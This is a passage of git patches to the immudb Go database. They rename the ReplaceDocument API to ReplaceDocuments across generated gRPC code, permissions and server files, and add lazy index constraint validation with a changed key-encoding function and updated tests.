immudb.model.DocumentService.CreateIndex:output_type -> immudb.model.CreateIndexResponse + 18, // 42: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse + 20, // 43: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse + 22, // 44: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse + 36, // 45: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse + 28, // 46: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse + 32, // 47: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse + 34, // 48: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse + 36, // [36:49] is the sub-list for method output_type + 23, // [23:36] is the sub-list for method input_type + 23, // [23:23] is the sub-list for extension type_name + 23, // [23:23] is the sub-list for extension extendee + 0, // [0:23] is the sub-list for field type_name } func init() { file_documents_proto_init() } @@ -2774,7 +2767,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplaceDocumentRequest); i { + switch v := v.(*ReplaceDocumentsRequest); i { case 0: return &v.state case 1: @@ -2786,7 +2779,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplaceDocumentResponse); i { + switch v := v.(*ReplaceDocumentsResponse); i { case 0: return &v.state case 1: diff --git a/pkg/api/protomodel/documents.pb.gw.go b/pkg/api/protomodel/documents.pb.gw.go index f2146830e0..21b9346440 100644 --- a/pkg/api/protomodel/documents.pb.gw.go +++ b/pkg/api/protomodel/documents.pb.gw.go @@ -365,8 +365,8 @@ func local_request_DocumentService_InsertDocuments_0(ctx context.Context, marsha } -func request_DocumentService_ReplaceDocument_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq ReplaceDocumentRequest +func request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ReplaceDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -377,13 +377,13 @@ func request_DocumentService_ReplaceDocument_0(ctx context.Context, marshaler ru return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := client.ReplaceDocument(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + msg, err := client.ReplaceDocuments(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } -func local_request_DocumentService_ReplaceDocument_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { - var protoReq ReplaceDocumentRequest +func local_request_DocumentService_ReplaceDocuments_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq ReplaceDocumentsRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) @@ -394,7 +394,7 @@ func local_request_DocumentService_ReplaceDocument_0(ctx context.Context, marsha return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - msg, err := server.ReplaceDocument(ctx, &protoReq) + msg, err := server.ReplaceDocuments(ctx, &protoReq) return msg, metadata, err } @@ -725,7 +725,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_ReplaceDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_ReplaceDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream @@ -736,7 +736,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := local_request_DocumentService_ReplaceDocument_0(rctx, inboundMarshaler, server, req, pathParams) + resp, md, err := local_request_DocumentService_ReplaceDocuments_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { @@ -744,7 +744,7 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv return } - forward_DocumentService_ReplaceDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ReplaceDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1041,7 +1041,7 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) - mux.Handle("PUT", pattern_DocumentService_ReplaceDocument_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + mux.Handle("PUT", pattern_DocumentService_ReplaceDocuments_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -1050,14 +1050,14 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - resp, md, err := request_DocumentService_ReplaceDocument_0(rctx, inboundMarshaler, client, req, pathParams) + resp, md, err := request_DocumentService_ReplaceDocuments_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } - forward_DocumentService_ReplaceDocument_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + forward_DocumentService_ReplaceDocuments_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) @@ -1161,7 +1161,7 @@ var ( pattern_DocumentService_InsertDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0}, []string{"documents"}, "", runtime.AssumeColonVerbOpt(true))) - pattern_DocumentService_ReplaceDocument_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "replace"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_ReplaceDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "replace"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DeleteDocuments_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "delete"}, "", runtime.AssumeColonVerbOpt(true))) @@ -1189,7 +1189,7 @@ var ( forward_DocumentService_InsertDocuments_0 = runtime.ForwardResponseMessage - forward_DocumentService_ReplaceDocument_0 = runtime.ForwardResponseMessage + forward_DocumentService_ReplaceDocuments_0 = runtime.ForwardResponseMessage forward_DocumentService_DeleteDocuments_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index 8d2fcffda6..6af235a5df 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -26,7 +26,7 @@ type DocumentServiceClient interface { CreateIndex(ctx context.Context, in *CreateIndexRequest, opts ...grpc.CallOption) (*CreateIndexResponse, error) DeleteIndex(ctx context.Context, in *DeleteIndexRequest, opts ...grpc.CallOption) (*DeleteIndexResponse, error) InsertDocuments(ctx context.Context, in *InsertDocumentsRequest, opts ...grpc.CallOption) (*InsertDocumentsResponse, error) - ReplaceDocument(ctx context.Context, in *ReplaceDocumentRequest, opts ...grpc.CallOption) (*ReplaceDocumentResponse, error) + ReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error) DeleteDocuments(ctx context.Context, in *DeleteDocumentsRequest, opts ...grpc.CallOption) (*DeleteDocumentsResponse, error) SearchDocuments(ctx context.Context, in *SearchDocumentsRequest, opts ...grpc.CallOption) (*SearchDocumentsResponse, error) AuditDocument(ctx context.Context, in *AuditDocumentRequest, opts ...grpc.CallOption) (*AuditDocumentResponse, error) @@ -113,9 +113,9 @@ func (c *documentServiceClient) InsertDocuments(ctx context.Context, in *InsertD return out, nil } -func (c *documentServiceClient) ReplaceDocument(ctx context.Context, in *ReplaceDocumentRequest, opts ...grpc.CallOption) (*ReplaceDocumentResponse, error) { - out := new(ReplaceDocumentResponse) - err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ReplaceDocument", in, out, opts...) +func (c *documentServiceClient) ReplaceDocuments(ctx context.Context, in *ReplaceDocumentsRequest, opts ...grpc.CallOption) (*ReplaceDocumentsResponse, error) { + out := new(ReplaceDocumentsResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/ReplaceDocuments", in, out, opts...) if err != nil { return nil, err } @@ -170,7 +170,7 @@ type DocumentServiceServer interface { CreateIndex(context.Context, *CreateIndexRequest) (*CreateIndexResponse, error) DeleteIndex(context.Context, *DeleteIndexRequest) (*DeleteIndexResponse, error) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) - ReplaceDocument(context.Context, *ReplaceDocumentRequest) (*ReplaceDocumentResponse, error) + ReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) SearchDocuments(context.Context, *SearchDocumentsRequest) (*SearchDocumentsResponse, error) AuditDocument(context.Context, *AuditDocumentRequest) (*AuditDocumentResponse, error) @@ -205,8 +205,8 @@ func (UnimplementedDocumentServiceServer) DeleteIndex(context.Context, *DeleteIn func (UnimplementedDocumentServiceServer) InsertDocuments(context.Context, *InsertDocumentsRequest) (*InsertDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method InsertDocuments not implemented") } -func (UnimplementedDocumentServiceServer) ReplaceDocument(context.Context, *ReplaceDocumentRequest) (*ReplaceDocumentResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method ReplaceDocument not implemented") +func (UnimplementedDocumentServiceServer) ReplaceDocuments(context.Context, *ReplaceDocumentsRequest) (*ReplaceDocumentsResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method ReplaceDocuments not implemented") } func (UnimplementedDocumentServiceServer) DeleteDocuments(context.Context, *DeleteDocumentsRequest) (*DeleteDocumentsResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DeleteDocuments not implemented") @@ -376,20 +376,20 @@ func _DocumentService_InsertDocuments_Handler(srv interface{}, ctx context.Conte return interceptor(ctx, in, info, handler) } -func _DocumentService_ReplaceDocument_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(ReplaceDocumentRequest) +func _DocumentService_ReplaceDocuments_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(ReplaceDocumentsRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(DocumentServiceServer).ReplaceDocument(ctx, in) + return srv.(DocumentServiceServer).ReplaceDocuments(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.model.DocumentService/ReplaceDocument", + FullMethod: "/immudb.model.DocumentService/ReplaceDocuments", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(DocumentServiceServer).ReplaceDocument(ctx, req.(*ReplaceDocumentRequest)) + return srv.(DocumentServiceServer).ReplaceDocuments(ctx, req.(*ReplaceDocumentsRequest)) } return interceptor(ctx, in, info, handler) } @@ -506,8 +506,8 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ Handler: _DocumentService_InsertDocuments_Handler, }, { - MethodName: "ReplaceDocument", - Handler: _DocumentService_ReplaceDocument_Handler, + MethodName: "ReplaceDocuments", + Handler: _DocumentService_ReplaceDocuments_Handler, }, { MethodName: "DeleteDocuments", diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 7b0e6125c6..dd4dceb9ea 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -51,7 +51,7 @@ var maintenanceMethods = map[string]struct{}{ "CreateIndex": {}, "DeleteIndex": {}, "InsertDocuments": {}, - "ReplaceDocument": {}, + "ReplaceDocuments": {}, "DeleteDocuments": {}, "SearchDocuments": {}, "AuditDocument": {}, @@ -126,7 +126,7 @@ var methodsPermissions = map[string][]uint32{ "CreateIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "InsertDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, - "ReplaceDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "ReplaceDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "SearchDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "AuditDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 30fa664eff..90ec7dff8b 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -43,8 +43,8 @@ type DocumentDatabase interface { DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) // InsertDocuments creates new documents InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) - // ReplaceDocument replaces a document - ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) + // ReplaceDocuments replaces documents matching the query + ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) // AuditDocument returns the document audit history AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) // SearchDocuments returns the documents matching the query @@ -212,8 +212,8 @@ func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocument }, nil } -// ReplaceDocument replaces a document -func (d *db) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) { +// ReplaceDocuments replaces documents matching the query +func (d *db) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -225,15 +225,13 @@ func (d *db) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumen return nil, ErrIllegalArguments } - txID, docID, rev, err := d.documentEngine.ReplaceDocument(ctx, req.Query, req.Document) + revisions, err := d.documentEngine.ReplaceDocuments(ctx, req.Query, req.Document) if err != nil { return nil, err } - return &protomodel.ReplaceDocumentResponse{ - TransactionId: txID, - DocumentId: docID.EncodeToHexString(), - Revision: rev, + return &protomodel.ReplaceDocumentsResponse{ + Revisions: revisions, }, nil } @@ -275,7 +273,7 @@ func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocument return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteDocuments(ctx, req.Query, int(req.Limit)) + err := d.documentEngine.DeleteDocuments(ctx, req.Query) if err != nil { return nil, err } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 77f121e5bc..3cf6b28d1c 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -280,7 +280,7 @@ func (d *closedDB) InsertDocuments(ctx context.Context, req *protomodel.InsertDo return nil, store.ErrAlreadyClosed } -func (d *closedDB) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) { +func (d *closedDB) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index c9613ccab6..361f88d0b9 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -124,12 +124,12 @@ func (s *ImmuServer) InsertDocuments(ctx context.Context, req *protomodel.Insert return resp, nil } -func (s *ImmuServer) ReplaceDocument(ctx context.Context, req *protomodel.ReplaceDocumentRequest) (*protomodel.ReplaceDocumentResponse, error) { - db, err := s.getDBFromCtx(ctx, "ReplaceDocument") +func (s *ImmuServer) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { + db, err := s.getDBFromCtx(ctx, "ReplaceDocuments") if err != nil { return nil, err } - resp, err := db.ReplaceDocument(ctx, req) + resp, err := db.ReplaceDocuments(ctx, req) if err != nil { return nil, err } From 1d4b2af606f75764edeb38f2fff1cce410a72f49 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 12 May 2023 11:51:00 -0300 Subject: [PATCH 0544/1062] chore(embedded/sql): lazy index contraint validation Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 57 ++++++++++++++++++++---------------- embedded/sql/catalog_test.go | 6 ++-- embedded/sql/engine.go | 18 +++++++----- embedded/sql/engine_test.go | 34 ++++++++++----------- embedded/sql/options.go | 12 ++++++-- embedded/sql/row_reader.go | 4 +-- embedded/sql/stmt.go | 36 +++++++++++++++++++---- 7 files changed, 103 insertions(+), 64 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 713257089b..1e531d3ccf 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -468,6 +468,11 @@ func (c *Column) MaxLen() int { case Float64Type: return 8 } + + if c.maxLen == 0 { + return MaxKeyLen + } + return c.maxLen } @@ -865,7 +870,7 @@ func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, er off += 1 maxLen := col.MaxLen() - if variableSized(col.colType) { + if variableSizedType(col.colType) { maxLen += EncLenLen } if len(enc)-off < maxLen { @@ -884,7 +889,7 @@ func unmapIndexEntry(index *Index, sqlPrefix, mkey []byte) (encPKVals []byte, er return enc[off:], nil } -func variableSized(sqlType SQLValueType) bool { +func variableSizedType(sqlType SQLValueType) bool { return sqlType == VarcharType || sqlType == BLOBType } @@ -929,26 +934,26 @@ const ( KeyValPrefixUpperBound byte = 0xFF ) -func EncodeValueAsKey(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { +func EncodeValueAsKey(val TypedValue, colType SQLValueType, maxLen int) ([]byte, int, error) { return EncodeRawValueAsKey(val.RawValue(), colType, maxLen) } // EncodeRawValueAsKey encodes a value in a b-tree meaningful way. -func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, error) { +func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]byte, int, error) { if maxLen <= 0 { - return nil, ErrInvalidValue + return nil, 0, ErrInvalidValue } if maxLen > MaxKeyLen { - return nil, ErrMaxKeyLengthExceeded + return nil, 0, ErrMaxKeyLengthExceeded } convVal, err := mayApplyImplicitConversion(val, colType) if err != nil { - return nil, err + return nil, 0, err } if convVal == nil { - return []byte{KeyValPrefixNull}, nil + return []byte{KeyValPrefixNull}, 0, nil } switch colType { @@ -956,13 +961,13 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b { strVal, ok := convVal.(string) if !ok { - return nil, fmt.Errorf( + return nil, 0, fmt.Errorf( "value is not a string: %w", ErrInvalidValue, ) } if len(strVal) > maxLen { - return nil, ErrMaxLengthExceeded + return nil, 0, ErrMaxLengthExceeded } // notnull + value + padding + len(value) @@ -971,17 +976,17 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b copy(encv[1:], []byte(strVal)) binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(strVal))) - return encv, nil + return encv, len(strVal), nil } case IntegerType: { if maxLen != 8 { - return nil, ErrCorruptedData + return nil, 0, ErrCorruptedData } intVal, ok := convVal.(int64) if !ok { - return nil, fmt.Errorf( + return nil, 0, fmt.Errorf( "value is not an integer: %w", ErrInvalidValue, ) } @@ -993,17 +998,17 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b // map to unsigned integer space for lexical sorting order encv[1] ^= 0x80 - return encv[:], nil + return encv[:], 8, nil } case BooleanType: { if maxLen != 1 { - return nil, ErrCorruptedData + return nil, 0, ErrCorruptedData } boolVal, ok := convVal.(bool) if !ok { - return nil, fmt.Errorf( + return nil, 0, fmt.Errorf( "value is not a boolean: %w", ErrInvalidValue, ) } @@ -1015,19 +1020,19 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b encv[1] = 1 } - return encv[:], nil + return encv[:], 1, nil } case BLOBType: { blobVal, ok := convVal.([]byte) if !ok { - return nil, fmt.Errorf( + return nil, 0, fmt.Errorf( "value is not a blob: %w", ErrInvalidValue, ) } if len(blobVal) > maxLen { - return nil, ErrMaxLengthExceeded + return nil, 0, ErrMaxLengthExceeded } // notnull + value + padding + len(value) @@ -1036,17 +1041,17 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b copy(encv[1:], []byte(blobVal)) binary.BigEndian.PutUint32(encv[len(encv)-EncLenLen:], uint32(len(blobVal))) - return encv, nil + return encv, len(blobVal), nil } case TimestampType: { if maxLen != 8 { - return nil, ErrCorruptedData + return nil, 0, ErrCorruptedData } timeVal, ok := convVal.(time.Time) if !ok { - return nil, fmt.Errorf( + return nil, 0, fmt.Errorf( "value is not a timestamp: %w", ErrInvalidValue, ) } @@ -1058,13 +1063,13 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b // map to unsigned integer space for lexical sorting order encv[1] ^= 0x80 - return encv[:], nil + return encv[:], 8, nil } case Float64Type: { floatVal, ok := convVal.(float64) if !ok { - return nil, fmt.Errorf( + return nil, 0, fmt.Errorf( "value is not a float: %w", ErrInvalidValue, ) } @@ -1091,11 +1096,11 @@ func EncodeRawValueAsKey(val interface{}, colType SQLValueType, maxLen int) ([]b encv[1] ^= 0x80 } - return encv[:], nil + return encv[:], 8, nil } } - return nil, ErrInvalidValue + return nil, 0, ErrInvalidValue } func EncodeValue(val TypedValue, colType SQLValueType, maxLen int) ([]byte, error) { diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 55f168d423..3406ead30a 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -113,9 +113,10 @@ func TestEncodeRawValueAsKey(t *testing.T) { var prevEncKey []byte for i := 0; i < 10; i++ { - encKey, err := EncodeRawValueAsKey(int64(i), IntegerType, 8) + encKey, n, err := EncodeRawValueAsKey(int64(i), IntegerType, 8) require.NoError(t, err) require.Greater(t, encKey, prevEncKey) + require.Equal(t, 8, n) prevEncKey = encKey } @@ -125,9 +126,10 @@ func TestEncodeRawValueAsKey(t *testing.T) { var prevEncKey []byte for _, v := range []string{"key1", "key11", "key2", "key3"} { - encKey, err := EncodeRawValueAsKey(v, VarcharType, 10) + encKey, n, err := EncodeRawValueAsKey(v, VarcharType, 10) require.NoError(t, err) require.Greater(t, encKey, prevEncKey) + require.Equal(t, len(v), n) prevEncKey = encKey } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 46a5182e8e..b4627084e2 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -96,9 +96,10 @@ const MaxNumberOfColumnsInIndex = 8 type Engine struct { store *store.ImmuStore - prefix []byte - distinctLimit int - autocommit bool + prefix []byte + distinctLimit int + autocommit bool + lazyIndexConstraintValidation bool multidbHandler MultiDBHandler } @@ -121,11 +122,12 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { } e := &Engine{ - store: store, - prefix: make([]byte, len(opts.prefix)), - distinctLimit: opts.distinctLimit, - autocommit: opts.autocommit, - multidbHandler: opts.multidbHandler, + store: store, + prefix: make([]byte, len(opts.prefix)), + distinctLimit: opts.distinctLimit, + autocommit: opts.autocommit, + lazyIndexConstraintValidation: opts.lazyIndexConstraintValidation, + multidbHandler: opts.multidbHandler, } copy(e.prefix, opts.prefix) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 80e3ecf735..d4430ae669 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -99,15 +99,15 @@ func TestCreateTable(t *testing.T) { require.ErrorIs(t, err, ErrColumnDoesNotExist) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR, PRIMARY KEY name)", nil) - require.ErrorIs(t, err, ErrLimitedKeyType) + require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("CREATE TABLE table1 (name VARCHAR[%d], PRIMARY KEY name)", MaxKeyLen+1), nil) + _, _, err = engine.Exec(context.Background(), nil, fmt.Sprintf("CREATE TABLE table2 (name VARCHAR[%d], PRIMARY KEY name)", MaxKeyLen+1), nil) require.ErrorIs(t, err, ErrLimitedKeyType) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (name VARCHAR[32], PRIMARY KEY name)", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table3 (name VARCHAR[32], PRIMARY KEY name)", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table2 (id INTEGER, PRIMARY KEY id)", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table4 (id INTEGER, PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)", nil) @@ -4859,52 +4859,52 @@ func TestUnmapIndexEntry(t *testing.T) { } func TestEncodeAsKeyEdgeCases(t *testing.T) { - _, err := EncodeValueAsKey(&NullValue{}, IntegerType, 0) + _, _, err := EncodeValueAsKey(&NullValue{}, IntegerType, 0) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Varchar{val: "a"}, VarcharType, MaxKeyLen+1) + _, _, err = EncodeValueAsKey(&Varchar{val: "a"}, VarcharType, MaxKeyLen+1) require.ErrorIs(t, err, ErrMaxKeyLengthExceeded) - _, err = EncodeValueAsKey(&Varchar{val: "a"}, "NOTATYPE", MaxKeyLen) + _, _, err = EncodeValueAsKey(&Varchar{val: "a"}, "NOTATYPE", MaxKeyLen) require.ErrorIs(t, err, ErrInvalidValue) t.Run("varchar cases", func(t *testing.T) { - _, err = EncodeValueAsKey(&Bool{val: true}, VarcharType, 10) + _, _, err = EncodeValueAsKey(&Bool{val: true}, VarcharType, 10) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Varchar{val: "abc"}, VarcharType, 1) + _, _, err = EncodeValueAsKey(&Varchar{val: "abc"}, VarcharType, 1) require.ErrorIs(t, err, ErrMaxLengthExceeded) }) t.Run("integer cases", func(t *testing.T) { - _, err = EncodeValueAsKey(&Bool{val: true}, IntegerType, 8) + _, _, err = EncodeValueAsKey(&Bool{val: true}, IntegerType, 8) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Integer{val: int64(10)}, IntegerType, 4) + _, _, err = EncodeValueAsKey(&Integer{val: int64(10)}, IntegerType, 4) require.ErrorIs(t, err, ErrCorruptedData) }) t.Run("boolean cases", func(t *testing.T) { - _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BooleanType, 1) + _, _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BooleanType, 1) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Bool{val: true}, BooleanType, 2) + _, _, err = EncodeValueAsKey(&Bool{val: true}, BooleanType, 2) require.ErrorIs(t, err, ErrCorruptedData) }) t.Run("blob cases", func(t *testing.T) { - _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BLOBType, 3) + _, _, err = EncodeValueAsKey(&Varchar{val: "abc"}, BLOBType, 3) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Blob{val: []byte{1, 2, 3}}, BLOBType, 2) + _, _, err = EncodeValueAsKey(&Blob{val: []byte{1, 2, 3}}, BLOBType, 2) require.ErrorIs(t, err, ErrMaxLengthExceeded) }) t.Run("timestamp cases", func(t *testing.T) { - _, err = EncodeValueAsKey(&Bool{val: true}, TimestampType, 8) + _, _, err = EncodeValueAsKey(&Bool{val: true}, TimestampType, 8) require.ErrorIs(t, err, ErrInvalidValue) - _, err = EncodeValueAsKey(&Integer{val: int64(10)}, TimestampType, 4) + _, _, err = EncodeValueAsKey(&Integer{val: int64(10)}, TimestampType, 4) require.ErrorIs(t, err, ErrCorruptedData) }) } diff --git a/embedded/sql/options.go b/embedded/sql/options.go index 6e7e32c16c..8970864659 100644 --- a/embedded/sql/options.go +++ b/embedded/sql/options.go @@ -25,9 +25,10 @@ import ( var defaultDistinctLimit = 1 << 20 // ~ 1mi rows type Options struct { - prefix []byte - distinctLimit int - autocommit bool + prefix []byte + distinctLimit int + autocommit bool 